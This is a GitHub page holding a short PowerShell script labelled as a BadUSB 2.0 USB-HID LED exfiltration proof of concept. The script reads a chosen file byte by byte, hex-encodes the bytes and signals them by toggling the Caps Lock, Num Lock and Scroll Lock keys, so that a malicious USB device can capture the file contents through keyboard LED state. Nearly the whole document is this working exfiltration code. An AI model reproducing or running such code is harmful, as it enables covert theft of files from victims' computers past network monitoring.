forked from withdk/badusb2-mitm-poc
-
Notifications
You must be signed in to change notification settings - Fork 0
/
powershell-exfil.ps1
37 lines (34 loc) · 928 Bytes
/
powershell-exfil.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#BadUSB 2.0 PowerShell USB-HID LED Exfiltration POC
#Author DK 2016 (@withdk)
function s($b) {
$N="{NUMLOCK}"
$C="{CAPSLOCK}"
$S="{SCROLLLOCK}"
$wsh=New-Object -ComObject WScript.Shell
for ($i=0;$i -lt $b.length;$i++) {
Start-Sleep -m 600
$o=$b[$i]
if($o -eq "C") { $wsh.SendKeys($C) }
if($o -eq "S") { $wsh.SendKeys($S) }
if($o -eq "N") { $wsh.SendKeys($N) }
}
}
function g($file) {
$dict=@{'A'='CCN';'B'='CCS';'C'='CNC';'D'='CNN';'E'='CNS';'F'='CSC';
'0'='CSN';'1'='CSS';'2'='NCC';'3'='NCN';'4'='NCS';'5'='NNC';
'6'='NNS';'7'='NSC';'8'='NSN';'9'='NSS'};
s("SSS");
Get-Content $file -Encoding byte -ReadCount 8 | ForEach-Object {
foreach ($byte in $_) {
$h=("{0:X2}" -f $byte);
if($byte -gt 20 -And $byte -lt 127) {
$h
$p=$dict.get_item($h[0].toString());
s($p);
$p=$dict.get_item($h[1].toString());
s($p);
}
}
}
s("SSS");
}